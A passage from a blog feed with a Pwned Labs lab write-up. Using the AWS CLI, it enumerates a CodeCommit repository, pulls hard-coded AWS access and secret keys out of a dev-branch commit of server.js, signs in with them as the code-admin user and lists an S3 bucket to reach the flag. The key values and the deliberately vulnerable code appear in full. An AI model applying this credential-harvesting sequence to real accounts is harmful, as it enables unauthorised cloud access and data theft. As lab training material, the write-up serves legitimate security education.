</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;accountId&#34;</span>: <span style="color:#e6db74">&#34;785010840550&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;repositoryId&#34;</span>: <span style="color:#e6db74">&#34;beb7df6c-e3a2-4094-8fc5-44451afc38d3&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;repositoryName&#34;</span>: <span style="color:#e6db74">&#34;vessel-tracking&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;repositoryDescription&#34;</span>: <span style="color:#e6db74">&#34;Vessel Tracking App&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;defaultBranch&#34;</span>: <span style="color:#e6db74">&#34;master&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;lastModifiedDate&#34;</span>: <span style="color:#e6db74">&#34;2023-07-21T01:50:46.826000+08:00&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;creationDate&#34;</span>: <span style="color:#e6db74">&#34;2023-07-20T05:11:19.845000+08:00&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;cloneUrlHttp&#34;</span>: <span style="color:#e6db74">&#34;https://git-codecommit.us-east-1.amazonaws.com/v1/repos/vessel-tracking&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;cloneUrlSsh&#34;</span>: <span style="color:#e6db74">&#34;ssh://git-codecommit.us-east-1.amazonaws.com/v1/repos/vessel-tracking&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:codecommit:us-east-1:785010840550:vessel-tracking&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;kmsKeyId&#34;</span>: <span style="color:#e6db74">&#34;alias/aws/codecommit&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We can see that there is a <code>dev</code> branch and lets check that out</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester codecommit list-branches --repository-name vessel-tracking
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;branches&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;master&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;dev&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We get the branch and we have a <code>commitId</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester codecommit get-branch --repository-name vessel-tracking --branch-name dev
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;branch&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;branchName&#34;</span>: <span style="color:#e6db74">&#34;dev&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;commitId&#34;</span>: <span style="color:#e6db74">&#34;b63f0756ce162a3928c4470681cf18dd2e4e2d5a&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We look at the commit and thee is a message <code>Allow S3 call to work universally</code> which could be an indication that credentials have been hard coded.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester codecommit get-commit --commit-id b63f0756ce162a3928c4470681cf18dd2e4e2d5a --repository-name vessel-tracki
</span></span><span style="display:flex;"><span>ng
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;commit&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;commitId&#34;</span>: <span style="color:#e6db74">&#34;b63f0756ce162a3928c4470681cf18dd2e4e2d5a&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;treeId&#34;</span>: <span style="color:#e6db74">&#34;5718a0915f230aa9dd0292e7f311cb53562bb885&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;parents&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;2272b1b6860912aa3b042caf9ee3aaef58b19cb1&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;message&#34;</span>: <span style="color:#e6db74">&#34;Allow S3 call to work universally\n&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;author&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;Jose Martinez&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;email&#34;</span>: <span style="color:#e6db74">&#34;jose@pwnedlabs.io&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;date&#34;</span>: <span style="color:#e6db74">&#34;1689875383 +0100&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;committer&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;Jose Martinez&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;email&#34;</span>: <span style="color:#e6db74">&#34;jose@pwnedlabs.io&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;date&#34;</span>: <span style="color:#e6db74">&#34;1689875383 +0100&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;additionalData&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We git the differences of the from the commit and we can see that the change was <code>js/server.js</code> and we will now get that file</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester codecommit get-differences --repository-name vessel-tracking --before-commit-specifier 2272b1b6860912aa3b042caf9ee3aaef58b19cb1 --after-commit-specifier b63f0756ce162a3928c4470681cf18dd2e4e2d5a
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;differences&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;beforeBlob&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;blobId&#34;</span>: <span style="color:#e6db74">&#34;4381be5cc1992c598de5b7a6b73ebb438b79daba&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;path&#34;</span>: <span style="color:#e6db74">&#34;js/server.js&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;mode&#34;</span>: <span style="color:#e6db74">&#34;100644&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;afterBlob&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;blobId&#34;</span>: <span style="color:#e6db74">&#34;39bb76cad12f9f622b3c29c1d07c140e5292a276&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;path&#34;</span>: <span style="color:#e6db74">&#34;js/server.js&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;mode&#34;</span>: <span style="color:#e6db74">&#34;100644&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;changeType&#34;</span>: <span style="color:#e6db74">&#34;M&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We retrieve the file and the content is base64 encoded</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester codecommit get-file --repository-name vessel-tracking --commit-specifier b63f0756ce162a3928c4470681cf18dd2e4e2d5a --file-path js/server.js
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;commitId&#34;</span>: <span style="color:#e6db74">&#34;b63f0756ce162a3928c4470681cf18dd2e4e2d5a&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;blobId&#34;</span>: <span style="color:#e6db74">&#34;39bb76cad12f9f622b3c29c1d07c140e5292a276&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;filePath&#34;</span>: <span style="color:#e6db74">&#34;js/server.js&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;fileMode&#34;</span>: <span style="color:#e6db74">&#34;NORMAL&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;fileSize&#34;</span>: 1702,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;fileContent&#34;</span>: <span style="color:#e6db74">&#34;Y29uc3QgZXhwcmVzcyA9IHJlcXVpcmUoJ2V4cHJlc3MnKTsKY29uc3QgYXhpb3MgPSByZXF1aXJlKCdheGlvcycpOwpjb25zdCBBV1MgPSByZXF1aXJlKCdhd3Mtc2RrJyk7CmNvbnN0IHsgdjQ6IHV1aWR2NCB9ID0gcmVxdWlyZSgndXVpZCcpOwpyZXF1aXJlKCdkb3RlbnYnKS5jb25maWcoKTsKCmNvbnN0IGFwcCA9IGV4cHJlc3MoKTsKY29uc3QgUE9SVCA9IHByb2Nlc3MuZW52LlBPUlQgfHwgMzAwMDsKCi8vIEFXUyBTZXR1cApjb25zdCBBV1NfQUNDRVNTX0tFWSA9ICdBS0lBM05SU0syUFRMR0FXV0xURyc7CmNvbnN0IEFXU19TRUNSRVRfS0VZID0gJzJ3Vnd3NVZFQWM2NWVXV21oc3VVVXZGRVRUNyt5bVlHTGptZUNoYXMnOwoKQVdTLmNvbmZpZy51cGRhdGUoewogICAgcmVnaW9uOiAndXMtZWFzdC0xJywgIC8vIENoYW5nZSB0byB5b3VyIHJlZ2lvbgogICAgYWNjZXNzS2V5SWQ6IEFXU19BQ0NFU1NfS0VZLAogICAgc2VjcmV0QWNjZXNzS2V5OiBBV1NfU0VDUkVUX0tFWQp9KTsKY29uc3QgczMgPSBuZXcgQVdTLlMzKCk7CgphcHAudXNlKChyZXEsIHJlcywgbmV4dCkgPT4gewogICAgLy8gR2VuZXJhdGUgYSByZXF1ZXN0IElECiAgICByZXEucmVxdWVzdElEID0gdXVpZHY0KCk7CiAgICBuZXh0KCk7Cn0pOwoKYXBwLmdldCgnL3Zlc3NlbC86bXNzaScsIGFzeW5jIChyZXEsIHJlcykgPT4gewogICAgdHJ5IHsKICAgICAgICBjb25zdCBtc3NpID0gcmVxLnBhcmFtcy5tc3NpOwoKICAgICAgICAvLyBGZXRjaCBkYXRhIGZyb20gTWFyaW5lVHJhZmZpYyBBUEkKICAgICAgICBsZXQgcmVzcG9uc2UgPSBhd2FpdCBheGlvcy5nZXQoYGh0dHBzOi8vYXBpLm1hcmluZXRyYWZmaWMuY29tL3Zlc3NlbC8ke21zc2l9YCwgewogICAgICAgICAgICBoZWFkZXJzOiB7ICdBcGktS2V5JzogcHJvY2Vzcy5lbnYuTUFSSU5FX0FQSV9LRVkgfQogICAgICAgIH0pOwoKICAgICAgICBsZXQgZGF0YSA9IHJlc3BvbnNlLmRhdGE7IC8vIE1vZGlmeSBhcyBwZXIgYWN0dWFsIEFQSSByZXNwb25zZSBzdHJ1Y3R1cmUKCiAgICAgICAgLy8gVXBsb2FkIHRvIFMzCiAgICAgICAgbGV0IHBhcmFtcyA9IHsKICAgICAgICAgICAgQnVja2V0OiAndmVzc2VsLXRyYWNraW5nJywKICAgICAgICAgICAgS2V5OiBgJHttc3NpfS5qc29uYCwKICAgICAgICAgICAgQm9keTogSlNPTi5zdHJpbmdpZnkoZGF0YSksCiAgICAgICAgICAgIENvbnRlbnRUeXBlOiAiYXBwbGljYXRpb24vanNvbiIKICAgICAgICB9OwoKICAgICAgICBzMy5wdXRPYmplY3QocGFyYW1zLCBmdW5jdGlvbiAoZXJyLCBzM2RhdGEpIHsKICAgICAgICAgICAgaWYgKGVycikgcmV0dXJuIHJlcy5zdGF0dXMoNTAwKS5qc29uKGVycik7CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBTZW5kIGRhdGEgdG8gZnJvbnRlbmQKICAgICAgICAgICAgcmVzLmpzb24oewogICAgICAgICAgICAgICAgZGF0YSwKICAgICAgICAgICAgICAgIHJlcXVlc3RJRDogcmVxLnJlcXVlc3RJRAogICAgICAgICAgICB9KTsKICAgICAgICB9KTsKCiAgICB9IGNhdGNoIChlcnJvcikgewogICAgICAgIHJlcy5zdGF0dXMoNTAwKS5qc29uKHsgZXJyb3I6ICJFcnJvciBmZXRjaGluZyB2ZXNzZWwgZGF0YS4iIH0pOwogICAgfQp9KTsKCmFwcC5saXN0ZW4oUE9SVCwgKCkgPT4gewogICAgY29uc29sZS5sb2coYFNlcnZlciBpcyBydW5uaW5nIG9uIFBPUlQgJHtQT1JUfWApOwp9KTsKCg==&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We decode the content and we can see that the file has an AWS Access and Secret Key hard-coded.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">express</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;express&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">axios</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;axios&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">AWS</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;aws-sdk&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> { <span style="color:#a6e22e">v4</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">uuidv4</span> } <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;uuid&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;dotenv&#39;</span>).<span style="color:#a6e22e">config</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">app</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">express</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">PORT</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">process</span>.<span style="color:#a6e22e">env</span>.<span style="color:#a6e22e">PORT</span> <span style="color:#f92672">||</span> <span style="color:#ae81ff">3000</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// AWS Setup
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">AWS_ACCESS_KEY</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;AKIA3NRSK2PTLGAWWLTG&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">AWS_SECRET_KEY</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;2wVww5VEAc65eWWmhsuUUvFETT7+ymYGLjmeChas&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">AWS</span>.<span style="color:#a6e22e">config</span>.<span style="color:#a6e22e">update</span>({
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">region</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;us-east-1&#39;</span>,  <span style="color:#75715e">// Change to your region
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#a6e22e">accessKeyId</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">AWS_ACCESS_KEY</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">secretAccessKey</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">AWS_SECRET_KEY</span>
</span></span><span style="display:flex;"><span>});
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">s3</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">AWS</span>.<span style="color:#a6e22e">S3</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">use</span>((<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>, <span style="color:#a6e22e">next</span>) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Generate a request ID
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">requestID</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">uuidv4</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">next</span>();
</span></span><span style="display:flex;"><span>});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;/vessel/:mssi&#39;</span>, <span style="color:#66d9ef">async</span> (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">mssi</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">params</span>.<span style="color:#a6e22e">mssi</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Fetch data from MarineTraffic API
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">response</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">axios</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">`https://api.marinetraffic.com/vessel/</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">mssi</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>, {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> { <span style="color:#e6db74">&#39;Api-Key&#39;</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">process</span>.<span style="color:#a6e22e">env</span>.<span style="color:#a6e22e">MARINE_API_KEY</span> }
</span></span><span style="display:flex;"><span>        });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">data</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">response</span>.<span style="color:#a6e22e">data</span>; <span style="color:#75715e">// Modify as per actual API response structure
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Upload to S3
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">params</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">Bucket</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;vessel-tracking&#39;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">Key</span><span style="color:#f92672">:</span> <span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">mssi</span><span style="color:#e6db74">}</span><span style="color:#e6db74">.json`</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">Body</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>(<span style="color:#a6e22e">data</span>),
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">ContentType</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;application/json&#34;</span>
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">s3</span>.<span style="color:#a6e22e">putObject</span>(<span style="color:#a6e22e">params</span>, <span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">err</span>, <span style="color:#a6e22e">s3data</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">err</span>) <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">500</span>).<span style="color:#a6e22e">json</span>(<span style="color:#a6e22e">err</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// Send data to frontend
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">json</span>({
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">data</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">requestID</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">requestID</span>
</span></span><span style="display:flex;"><span>            });
</span></span><span style="display:flex;"><span>        });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">500</span>).<span style="color:#a6e22e">json</span>({ <span style="color:#a6e22e">error</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;Error fetching vessel data.&#34;</span> });
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">listen</span>(<span style="color:#a6e22e">PORT</span>, () =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#e6db74">`Server is running on PORT </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">PORT</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>);
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>We add the credentials and verify and these belong to the <code>code-admin</code> user</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile codecommit configure
</span></span><span style="display:flex;"><span>AWS Access Key ID <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: AKIA3NRSK2PTLGAWWLTG
</span></span><span style="display:flex;"><span>AWS Secret Access Key <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: 2wVww5VEAc65eWWmhsuUUvFETT7+ymYGLjmeChas
</span></span><span style="display:flex;"><span>Default region name <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: us-east-1
</span></span><span style="display:flex;"><span>Default output format <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile codecommit sts get-caller-identity
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;UserId&#34;</span>: <span style="color:#e6db74">&#34;AIDA3NRSK2PTJN636WIHU&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Account&#34;</span>: <span style="color:#e6db74">&#34;785010840550&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::785010840550:user/code-admin&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>You will note that in the <code>server.js</code> file that it listed an S3 bucket and we can list that and we have the flag.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile codecommit s3 ls s3://vessel-tracking
</span></span><span style="display:flex;"><span>2023-07-21 02:25:17         <span style="color:#ae81ff">32</span> flag.txt
</span></span><span style="display:flex;"><span>2023-07-21 02:35:56      <span style="color:#ae81ff">21810</span> vessel-id-ae
</span></span><span style="display:flex;"><span>2023-07-21 02:35:57      <span style="color:#ae81ff">21770</span> vessel-id-af
</span></span><span style="display:flex;"><span>2023-07-21 02:35:58      <span style="color:#ae81ff">21515</span> vessel-id-ag
</span></span><span style="display:flex;"><span>2023-07-21 02:35:58      <span style="color:#ae81ff">21639</span> vessel-id-ah
</span></span><span style="display:flex;"><span>2023-07-21 02:35:59      <span style="color:#ae81ff">21568</span> vessel-id-ai
</span></span><span style="display:flex;"><span>2023-07-21 02:36:00      <span style="color:#ae81ff">21813</span> vessel-id-aj
</span></span><span style="display:flex;"><span>2023-07-21 02:36:01      <span style="color:#ae81ff">21575</span> vessel-id-ak
</span></span><span style="display:flex;"><span>2023-07-21 02:36:01      <span style="color:#ae81ff">21871</span> vessel-id-al
</span></span><span style="display:flex;"><span>2023-07-21 02:36:02      <span style="color:#ae81ff">21523</span> vessel-id-am
</span></span><span style="display:flex;"><span>2023-07-21 02:36:03      <span style="color:#ae81ff">21606</span> vessel-id-an
</span></span><span style="display:flex;"><span>2023-07-21 02:36:04      <span style="color:#ae81ff">21675</span> vessel-id-ao
</span></span><span style="display:flex;"><span>2023-07-21 02:36:04      <span style="color:#ae81ff">21313</span> vessel-id-ap
</span></span><span style="display:flex;"><span>2023-07-21 02:36:05      <span style="color:#ae81ff">21384</span> vessel-id-aq
</span></span><span style="display:flex;"><span>2023-07-21 02:36:06      <span style="color:#ae81ff">21573</span> vessel-id-ar
</span></span><span style="display:flex;"><span>2023-07-21 02:36:07      <span style="color:#ae81ff">21771</span> vessel-id-as
</span></span><span style="display:flex;"><span>2023-07-21 02:36:07      <span style="color:#ae81ff">21409</span> vessel-id-at
</span></span><span style="display:flex;"><span>2023-07-21 02:36:08      <span style="color:#ae81ff">21672</span> vessel-id-au
</span></span><span style="display:flex;"><span>2023-07-21 02:36:08      <span style="color:#ae81ff">21522</span> vessel-id-av
</span></span><span style="display:flex;"><span>2023-07-21 02:36:09      <span style="color:#ae81ff">21515</span> vessel-id-aw
</span></span><span style="display:flex;"><span>2023-07-21 02:36:10      <span style="color:#ae81ff">21482</span> vessel-id-ax
</span></span><span style="display:flex;"><span>2023-07-21 02:36:10      <span style="color:#ae81ff">21545</span> vessel-id-ay
</span></span></code></pre></div><p>We can download the flag and PWNED!</p>
]]></content>
        </item>
        
        <item>
            <title>Pwned Labs - Bypass Restrictions in API Gateway</title>
            <link>https://www.nephos.guru/posts/2024/apigateway/</link>
            <pubDate>Mon, 08 Jul 2024 12:54:48 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/apigateway/</guid>
            <description>&lt;p&gt;&lt;a href=&#34;https://pwnedlabs.io/labs/bypass-restrictions-in-api-gateway&#34;&gt;Bypass Restrictions in API Gateway&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;scenario&#34;&gt;Scenario&lt;/h2&gt;
